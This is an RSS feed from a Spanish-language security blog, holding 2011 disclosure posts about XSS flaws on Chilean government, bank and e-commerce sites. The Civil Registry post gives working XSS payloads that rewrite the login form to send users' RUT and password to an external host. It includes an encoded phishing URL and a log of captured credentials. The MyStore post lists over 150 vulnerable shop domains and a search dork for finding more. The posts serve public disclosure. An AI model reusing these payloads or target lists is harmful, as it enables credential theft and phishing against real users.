<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>El rincón de Zerial &#187; vulnerabilidad</title>
	<atom:link href="http://blog.zerial.org/tag/vulnerabilidad/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.zerial.org</link>
	<description>Informática, GNU/Linux, Seguridad, Hacking, Programación, Ocio</description>
	<lastBuildDate>Tue, 03 Jan 2012 00:13:53 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Robo de credenciales y suplantación de identidad en sitio web del Registro Civil</title>
		<link>http://blog.zerial.org/seguridad/robo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil/</link>
		<comments>http://blog.zerial.org/seguridad/robo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil/#comments</comments>
		<pubDate>Wed, 30 Nov 2011 12:20:01 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[gobierno]]></category>
		<category><![CDATA[prueba de concepto]]></category>
		<category><![CDATA[registro civil]]></category>
		<category><![CDATA[robo de credenciales]]></category>
		<category><![CDATA[robo de identidad]]></category>
		<category><![CDATA[session hijacking]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[sitios web vulnerables]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2815</guid>
		<description><![CDATA[Hace un par de semanas fueron reportadas en Secureless 2 vulnerabilidades Cross-Site Scripting (XSS) que afectaban al sitio web del Registro Civil en Chile, tambien fueron reportadas mediante el grupo de respuesta ante incidentes (CSIRT) del Ministerio del Interior, quienes ellos mismos se acercaron a mi luego de la charla de la Computer Security Conference [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/regciv.png"><img class="aligncenter size-full wp-image-2816" title="regciv" src="http://blog.zerial.org/wp-content/uploads/2011/11/regciv.png" alt="" width="543" height="60" /></a></p>
<p>Hace un par de semanas fueron reportadas en <a href="http://secureless.org">Secureless</a> 2 vulnerabilidades Cross-Site Scripting (XSS) que afectaban al sitio web del Registro Civil en Chile, tambien fueron reportadas mediante el <strong>grupo de respuesta ante incidentes (CSIRT) del Ministerio del Interior</strong>, quienes ellos mismos se acercaron a mi luego de la charla de la <a href="http://8dot8.org">Computer Security Conference 8.8</a> para canalizar mediante ellos las vulnerabilidades de sitios web del gobierno que sean encontradas. El CSIRT del Interior ha respondido muy bien, pero al parecer ni si quiera una &#8220;entidad reguladora&#8221; es capaz de hacer entender a los responsables y encargados.</p>
<p>Las vulnerabilidades de este tipo no son consideradas un riesgo y no se le da la urgencia que se necesita. Esta vulnerabilidad es critica ya que se encuentra en la sección para que los usuarios inicien sesión y permite el <strong>robo de credenciales y suplantación de identidad</strong>.</p>
<p>Este fallo afecta a la página de autentificación de certificados en línea</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/regciv_certl.png"><img class="aligncenter size-full wp-image-2819" title="regciv_certl" src="http://blog.zerial.org/wp-content/uploads/2011/11/regciv_certl.png" alt="" width="584" height="210" /></a>En el cual es posible modificar la función el botón &#8220;Ingresar&#8221;, para que nos envíe la información de identificación a un sitio externo.</p>
<p><span id="more-2815"></span></p>
<p>La víctima lo único que tiene que hacer es ingresar a un link malicioso que el atacante le envie por correo o por algún otro medio. Esta vulnerabilidad se aprovecha de la confianza que tiene el usuario sobre el sitio web, ya que usa el <strong>dominio original</strong> y real del Registro Civil, incluso su certificado de &#8220;seguridad&#8221; SSL. La URL maliciosa tiene la forma</p>
<p style="text-align: center;"><strong>https://www.registrocivil.cl/XXXXXXXXXXXXXXXXXXXXXXXXXX</strong></p>
<p>Para aprovecharse de esta vulnerabilidad lo único que hay que hacer es envenenar la variable &#8220;pag&#8221; y sobreescribir la función javascript &#8220;ingresar()&#8221;.</p>
<p>En primera instancia, modificaremos la función para que nos muestre el contenido de cada campo del formulario de autentificación</p>
<p><strong>El nombre de usuario/rut</strong><br />
<a href="https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].runOI.value%29;%20}%3C/script%3E%3Cscript%3E">https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].runOI.value%29;%20}%3C/script%3E%3Cscript%3E</a></p>
<p><strong>La password</strong><br />
<a href="https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].passwordOI.value%29;%20}%3C/script%3E%3Cscript%3E">https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].passwordOI.value%29;%20}%3C/script%3E%3Cscript%3E</a></p>
<p>Al ingresar en estos dos links, veran la pantalla de inicio de sesión normal, sin modificaciones. Ingresen sus datos y presionen el botón &#8220;Ingresar&#8221;, veran como aparece un mensaje con los datos que ustedes han ingresado. Esta prueba de concepto es una simple alerta que muestra los datos que ingresaste en el formulario.<br />
La segunda prueba de concepto será generar una alerta en el navegador donde nos muestre el usuario y la password juntos<br />
<a href="https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc'; } } function ingresar(){ var _a = document.forms[0].runOI.value; var _b = document.forms[0].passwordOI.value; alert('rut: ' %2b _a %2b ' password: ' %2b _b); }&lt;/script&gt;&lt;script&gt;">https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc&#8217;; } } function ingresar(){ var _a = document.forms[0].runOI.value; var _b = document.forms[0].passwordOI.value; alert(&#8216;rut: &#8216; %2b _a %2b &#8216; password: &#8216; %2b _b); }&lt;/script&gt;&lt;script&gt;</a></p>
<p>Si ingresamos nuestro datos de acceso y pinchamos en ingresar, podemos ver que nuestra información aparecerá en la alerta del navegador</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/regciv_certl_pwd.png"><img class="aligncenter size-full wp-image-2823" title="regciv_certl_pwd" src="http://blog.zerial.org/wp-content/uploads/2011/11/regciv_certl_pwd.png" alt="" width="554" height="414" /></a></p>
<p>Una vez realizada esta prueba de concepto, ya podemos enviar esa información a un sitio externo, donde el atacante podría almacenar la información del usuario al momento de iniciar sesión.</p>
<p>Modificaremos la función &#8220;ingresar()&#8221; de forma tal que nos envie la información del formulario al dominio <strong>zerial.org</strong> (de pruebas), usando el siguiente código javascript:</p>
<pre name="code" class="c">pocpoc';
}}
function ingresar(){
        document.forms[0].action = 'http://zerial.org/PoC_RegCivil';
        document.forms[0].method = 'GET';
        document.forms[0].submit();
}
<script></script></pre>
<p>Se lo inyectamos a la URL vulnerable:</p>
<p><a href=" https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20var%20_a%20=%20document.forms[0].runOI.value;%20var%20_b%20=%20document.forms[0].passwordOI.value;%20document.forms[0].action%20=%20%27http://zerial.org/PoC_RegCivil%27;document.forms[0].method%20=%20%27GET%27;document.forms[0].submit%28%29%20}%3C/script%3E%3Cscript%3E"></p>
<p>https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20var%20_a%20=%20document.forms[0].runOI.value;%20</p>
<p>var%20_b%20=%20document.forms[0].passwordOI.value;%20document.forms[0].action%20=%20%27http://zerial.org/PoC_RegCivil%27;document.forms[0].method%20=%20%27GET%27;document.forms[0].submit%28%29%20}%3C/script%3E%3Cscript%3E</a></p>
<p>Al ingresar tus datos e iniciar sesión, tu RUT y password será enviado a mi servidor. En el servidor, la información llega de la siguiente forma:</p>
<p><strong>x.x.x.x &#8211; - [xx/Nov/2011:xx:xx:xx -0300] &#8220;GET /PoC_RegCivil?tipoAyuda=&#038;runOI=1544345&#038;dvOI=&#038;passwordOI=prueba HTTP/1.1&#8243; 200 1529 &#8220;-&#8221;"</strong></p>
<p>Podemos ver donde dice <strong>runOI</strong> y <strong>passwordOI</strong>, que aparecen los datos que ingresamos en el formulario de autentificación en el sitio web del Registro Civil. Ya tenemos los datos del usuario</p>
<p><strong>RUT:</strong> 1544345<br />
<strong>Password:</strong> prueba</p>
<p>Finalmente, la URL maliciosa tendría la forma:</p>
<p><a href="http://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=%70%6f%63%70%6f%63%25%32%37%3b%25%32%30%7d%25%32%30%7d%25%32%30%66%75%6e%63%74%69%6f%6e%25%32%30%69%6e%67%72%65%73%61%72%25%32%38%25%32%39%7b%25%32%30%76%61%72%25%32%30%5f%61%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%72%75%6e%4f%49%2e%76%61%6c%75%65%3b%25%32%30%76%61%72%25%32%30%5f%62%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%70%61%73%73%77%6f%72%64%4f%49%2e%76%61%6c%75%65%3b%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%61%63%74%69%6f%6e%25%32%30%3d%25%32%30%25%32%37%68%74%74%70%3a%2f%2f%7a%65%72%69%61%6c%2e%6f%72%67%2f%50%6f%43%5f%52%65%67%43%69%76%69%6c%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%6d%65%74%68%6f%64%25%32%30%3d%25%32%30%25%32%37%47%45%54%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%73%75%62%6d%69%74%25%32%38%25%32%39%25%32%30%7d%25%33%43%2f%73%63%72%69%70%74%25%33%45%25%33%43%73%63%72%69%70%74%25%33%45">https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=%70%6f%63%70%6f%63%25%32%37%3b%25%32%30%7d%25%32%30%7d%25%32%30%66%75%6e%63%74%69%6f%6e%25%32%30%69%6e%67%72%65%73%61%72%25%32%38%25%32%39%7b%25%32%30%76%61%72%25%32%30%5f%61%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%72%75%6e%4f%49%2e%76%61%6c%75%65%3b%25%32%30%76%61%72%25%32%30%5f%62%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%70%61%73%73%77%6f%72%64%4f%49%2e%76%61%6c%75%65%3b%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%61%63%74%69%6f%6e%25%32%30%3d%25%32%30%25%32%37%68%74%74%70%3a%2f%2f%7a%65%72%69%61%6c%2e%6f%72%67%2f%50%6f%43%5f%52%65%67%43%69%76%69%6c%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%6d%65%74%68%6f%64%25%32%30%3d%25%32%30%25%32%37%47%45%54%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%73%75%62%6d%69%74%25%32%38%25%32%39%25%32%30%7d%25%33%43%2f%73%63%72%69%70%74%25%33%45%25%33%43%73%63%72%69%70%74%25%33%45</a></p>
<p>Es suficiente con enviar ese link a usuarios para que los datos de autentificación sean enviados a un servidor externo.</p>
<p><strong>ACTUALIZADO (3 de Diciembre):</strong> Luego de insistir via twitter y enviando este post al CSIRT del Ministerio del Interior, Registro Civil ha corregido la vulnerabilidad.</p>
<p>Como siempre, hay que hacer publicas las fallas para que le den solucion.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Frobo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/robo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/robo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil/"  data-text="Robo de credenciales y suplantación de identidad en sitio web del Registro Civil" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/robo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>MyStore vulnerable a Cross-Site Scripting: Miles de sitios afectados</title>
		<link>http://blog.zerial.org/seguridad/mystore-vulnerable-a-cross-site-scripting-miles-de-sitios-afectados/</link>
		<comments>http://blog.zerial.org/seguridad/mystore-vulnerable-a-cross-site-scripting-miles-de-sitios-afectados/#comments</comments>
		<pubDate>Wed, 19 Oct 2011 12:35:56 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[bug]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2725</guid>
		<description><![CDATA[MyStore es una plataforma de comercio electrónico (eCommerce) escrita en PHP y utilizada por miles de sitios web. La plataforma tiene una vulnerabilidad Cross-Site Scripting en el archivo usado para desplegar errores al usuario, en el módulo de administración y es accesible por cualquier usuario sin previa autentificación, por lo que es posible explotar la [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/10/mystorelogo.png"><img class="aligncenter size-full wp-image-2727" title="mystorelogo" src="http://blog.zerial.org/wp-content/uploads/2011/10/mystorelogo.png" alt="" width="321" height="203" /></a>MyStore es una plataforma de comercio electrónico (eCommerce) escrita en PHP y utilizada por miles de sitios web. La plataforma tiene una vulnerabilidad Cross-Site Scripting en el archivo usado para desplegar errores al usuario, en el módulo de administración y es accesible por cualquier usuario sin previa autentificación, por lo que es posible explotar la vulnerabilidad y preparar un ataque hacia los clientes de los sitios web que implementan el sistema.</p>
<p>Según Google, son un poco más de mil sitios los que utilizan esta plataforma y que serían vulnerables a este tipo de ataques.</p>
<p>Al tratarse de un eCommerce, esta vulnerabilidad es aún más peligrosa ya que el atacante podría explotarla para obtener información de los usuarios como números de tarjetas de crédito, correos, usuarios y contraseñas, todo esto mediante <strong>phishing</strong>, usando el dominio del sitio en el que el usuario confía. Tambien se pueden elaborar ataques mas sofisticados para robar las sesiones a los usuarios que previamente hayan iniciado sesión.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/10/xss_mystore.png"><img class="aligncenter size-full wp-image-2731" title="xss_mystore" src="http://blog.zerial.org/wp-content/uploads/2011/10/xss_mystore.png" alt="" width="444" height="379" /></a></p>
<p><span id="more-2725"></span></p>
<p>La vulnearbilidad se encuentra en el archivo &#8220;<em>error.php</em>&#8221; y se produce al no filtrar los parametros de entrada mediante las variables &#8220;<em>p</em>&#8221; y &#8220;<em>s</em>&#8220;. El script simplemente imprime el valor de las variables, sin filtrarlas ni escapar caracteres, permitiendo XSS.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/10/xss_mystore2.png"><img class="aligncenter size-full wp-image-2732" title="xss_mystore2" src="http://blog.zerial.org/wp-content/uploads/2011/10/xss_mystore2.png" alt="" width="678" height="25" /></a></p>
<p>Una lista de algunos sitios afectados:</p>
<blockquote><p>abysinvitationsprintshop.com<br />
accesorioselauto.com<br />
adobetecnoterra.com<br />
adrenalinamotor.mx<br />
akarienlinea.com<br />
aldebaranuno.com<br />
aleissi.mx<br />
anabolicstorexpress.com<br />
ankah2o.com<br />
antibalastucomprasegura.com<br />
aquatica-online.com<br />
armarecuerdoseinvitaciones.com<br />
armyatvstore.com<br />
babybodega.mx<br />
bazar12.com<br />
beerandfashionmexico.com<br />
bellezanutritiva.com.mx<br />
bichitour.com<br />
bienesraicespremium.com<br />
bigjockey.com<br />
billyoplazapiel.com<br />
blancoscorona.com<br />
bricks-store.com<br />
cajasybolsas.com<br />
caramolli.com<br />
cavaboutique.com<br />
ceciliamartinezgarza.com<br />
centralnt.com<br />
colofoninfantil.com<br />
comercialdeestanteria.com.mx<br />
comerciantes.mx<br />
compraconplazo.com<br />
compupagos.com.mx<br />
compuventa-online.com<br />
contitech-solutions.com<br />
cosasdeingenieria.com<br />
decocuadros.com.mx<br />
dekocuadros.com<br />
deyacut.com<br />
digielectronik.com<br />
distribuidorazaqueo.com<br />
diveencounters.mx<br />
doshik.com<br />
e-tronic-shop.com<br />
edicionesuromex.com<br />
elgloborojotienda.com<br />
ellamodas.com<br />
elmundodelasfajas.com<br />
enac-audio.com<br />
enelbazarxalapa.com<br />
entradaxsalida.com<br />
enviamiregalo.com<br />
eplaza.com.mx<br />
fantasias-daniel.com<br />
farmaciadelnino.com<br />
fashion1services.com<br />
fastlapstore.com<br />
fermentando.com.mx<br />
florerialorena.com<br />
forjasdesign.com<br />
fraganciamania.com.mx<br />
fvi.mx<br />
gadgetmex.com<br />
galeriagalamania.com<br />
globaris-shop.com<br />
grupocomputacionaldeco.com<br />
grupoelrey.com<br />
gscomputadoras.com<br />
hogarynegocio.com<br />
hypnosefashionstore.com<br />
imperiusarts.com<br />
importacionesecm.com<br />
indumaqsa.com<br />
infoxweb.com<br />
inhaus.mx<br />
irrealcandybar.com<br />
its-acapulco.com<br />
javoil.com<br />
joyeriasagara.com<br />
julianna-jewelry.com<br />
kingmonstermty.com<br />
kiutstore.com<br />
konexionmusical.com<br />
lacombasoccer.com<br />
ladecimaletragdl.com<br />
lapsrepairs.com<br />
lasmatadoras.com<br />
libros.com.mx<br />
liderpowertools.com<br />
lizfloreria.com<br />
lunerougeboutique.com<br />
maimaitienda.com<br />
mandycreaciones.com<br />
manikin-online.com<br />
maniquiesonline.com<br />
maquinariaexpress.com<br />
megapixelcomputadoras.com<br />
mercaditoparati.com<br />
mexi-cali.net<br />
modayregalos.com<br />
mothernity.com.mx<br />
mtystore.com<br />
muebleriamaya.com<br />
mundoescolar11.com<br />
mydogpharma.com<br />
naturatoshop.com<br />
naturenmexico.com<br />
nochederio.com<br />
onlineplayeras.com<br />
ouletgnc.com<br />
pa-xi.com<br />
paraleer.com<br />
pasatiempo-juguetes.com<br />
petnc.com<br />
pinnacleventa.com<br />
plazamesonesvirtual.com<br />
pro-limp.com<br />
prodoorventas.com<br />
psmodelismo.com<br />
r3silencia.com<br />
raqmar.com.mx<br />
rcomunicaciones.com<br />
recuerdosybolos.com<br />
reducingbodysiluet.com<br />
regala123.com<br />
regala123.com.mx<br />
regalosconvida.com<br />
reguladoresypcs.com<br />
safetystoremexico.com<br />
seducelo.com<br />
seducelo.com.mx<br />
setfi.us.com<br />
sexylencerias.com<br />
shop4evermx.com<br />
siaproductos.com<br />
sistemascompac.com<br />
sitesirve.com<br />
smart-atic.com<br />
solarislabs.com<br />
solodebateria.com<br />
spixalapa.com<br />
sportjordan.com<br />
store-htpro.com<br />
sunlounge.com.mx<br />
taipacificoimportaciones.com<br />
techosmas.com<br />
tecnologiailimitada.com<br />
tenisclubcolombia.com<br />
thecellulardepot.com<br />
theredzone.com.mx<br />
tienda128.mystorexpress.com<br />
tienda573.mystorexpress.com<br />
tiendabolsasbichat.com<br />
tiendadicer.com<br />
tiendaenriko.com<br />
tiendaofficeadm.com<br />
tiendapetmark.com<br />
tiendatn.com<br />
tinkert.com<br />
todocompu.com<br />
transfermania.com.mx<br />
treneshodemexico.com<br />
treneshodetexas.com<br />
trovarti.com<br />
tucalentadordepaso.com.mx<br />
tumejorcompra.net<br />
tumueblebarato.com<br />
tumundodeportivo.com<br />
vinilium.com<br />
winemexsa.com</p></blockquote>
<p>Para buscar la lista completa de los sitios afectados, puedes realizar la siguiente busqueda en Google:</p>
<p><a href="http://www.google.com/search?q=inurl%3Amystore+inurl%3Aerror.php+filetype%3Aphp"><strong>inurl:mystore inurl:error.php filetype:php</strong></a></p>
<p>Tambien <a href="http://secureless.org/search/?keywords=mystore%2Ferror.php&#038;sid=0">se reportaron algunas vía secureless</a>.</p>
<p>La empresa que está detras de este sistema ya ha sido notificada.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fmystore-vulnerable-a-cross-site-scripting-miles-de-sitios-afectados%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/mystore-vulnerable-a-cross-site-scripting-miles-de-sitios-afectados/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/mystore-vulnerable-a-cross-site-scripting-miles-de-sitios-afectados/"  data-text="MyStore vulnerable a Cross-Site Scripting: Miles de sitios afectados" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/mystore-vulnerable-a-cross-site-scripting-miles-de-sitios-afectados/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Banco Central de Chile vulnerable a XSS</title>
		<link>http://blog.zerial.org/seguridad/banco-central-de-chile-vulnerable-a-xss/</link>
		<comments>http://blog.zerial.org/seguridad/banco-central-de-chile-vulnerable-a-xss/#comments</comments>
		<pubDate>Mon, 17 Oct 2011 14:43:57 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[banco central]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sqli]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2738</guid>
		<description><![CDATA[El sitio web del Banco Central de Chile es vulnerable a ataques Cross-Site Scripting y, posiblemente, un SQL Injection. Son muchos los sitios de bancos que son vulnerables a este tipo de ataques, pero muy pocos quienes solucionan los errores luego de reportarlos, es por eso que se toma la decisión de hacer un disclosure [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/10/logo_bcch.gif"><img class="aligncenter size-full wp-image-2740" title="logo_bcch" src="http://blog.zerial.org/wp-content/uploads/2011/10/logo_bcch.gif" alt="" width="139" height="139" /></a></p>
<p>El sitio web del Banco Central de Chile es vulnerable a ataques Cross-Site Scripting y, posiblemente, un SQL Injection. Son muchos los sitios de bancos que son vulnerables a este tipo de ataques, pero muy pocos quienes solucionan los errores luego de reportarlos, es por eso que se toma la decisión de hacer un <strong>disclosure</strong> sobre las vulnerabilidades para denunciar este tipo de hechos.</p>
<p>El sitio web del Banco Central pareciera no tener ningun tipo de validación de los parametros de entrada que se pasan mediante formularios o mediante URL, exponiendo a los usuarios  y al servidor a distintos tipos de ataques.<br />
El XSS que encontré, está en el archvo <strong>rim/default.asp</strong> en el subdominio <strong>si2.bcentral.cl</strong>.</p>
<p>Como prueba de concepto, incrustaré un &#8216;iframe&#8217; con el sitio web de Google dentro del sitio del Banco Central</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/10/bcentral_xss1.png"><img class="aligncenter size-full wp-image-2743" title="bcentral_xss1" src="http://blog.zerial.org/wp-content/uploads/2011/10/bcentral_xss1.png" alt="" width="583" height="593" /></a></p>
<p>Perfectamente, el atacante podría incrustar un sitio malicioso con la intención de robar la identidad del banco y aprovecharse de la confianza que el usuario tiene sobre el sitio web, incluso usando el sitio &#8220;<strong>seguro</strong>&#8220;.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/10/bcentral_xss2.png"><img class="aligncenter size-full wp-image-2744" title="bcentral_xss2" src="http://blog.zerial.org/wp-content/uploads/2011/10/bcentral_xss2.png" alt="" width="241" height="27" /></a>Tambien el atacante podria, mediante esta vulnerabilidad, modificar el formulario de inicio de sesión que aparece en la imagen, para robar los datos de los usuarios y enviar la información a terceros.</p>
<p><span id="more-2738"></span></p>
<p>La vulnerabilidad SQL Injection se presentaba en los formularios que estaban en la sección &#8220;Base de datos economicos&#8221;, que al parecer ya ha sido corregido.</p>
<p>Hace 7 días aproximadamente reporté la vulnerabilidad y como es de costumbre no otbuve ninguna respuesta, pero misteriosamente estan trabajando en estos momentos en corregir el sql injection.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fbanco-central-de-chile-vulnerable-a-xss%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/banco-central-de-chile-vulnerable-a-xss/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/banco-central-de-chile-vulnerable-a-xss/"  data-text="Banco Central de Chile vulnerable a XSS" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/banco-central-de-chile-vulnerable-a-xss/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Vulnerabilidad XSS en Prontus CMS</title>
		<link>http://blog.zerial.org/seguridad/vulnerabilidad-xss-en-prontus-cms/</link>
		<comments>http://blog.zerial.org/seguridad/vulnerabilidad-xss-en-prontus-cms/#comments</comments>
		<pubDate>Mon, 11 Jul 2011 18:48:36 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cms]]></category>
		<category><![CDATA[cross site scriptoing]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[fonasa]]></category>
		<category><![CDATA[prontus]]></category>
		<category><![CDATA[senado]]></category>
		<category><![CDATA[sitios web vulnerables]]></category>
		<category><![CDATA[ucv]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2410</guid>
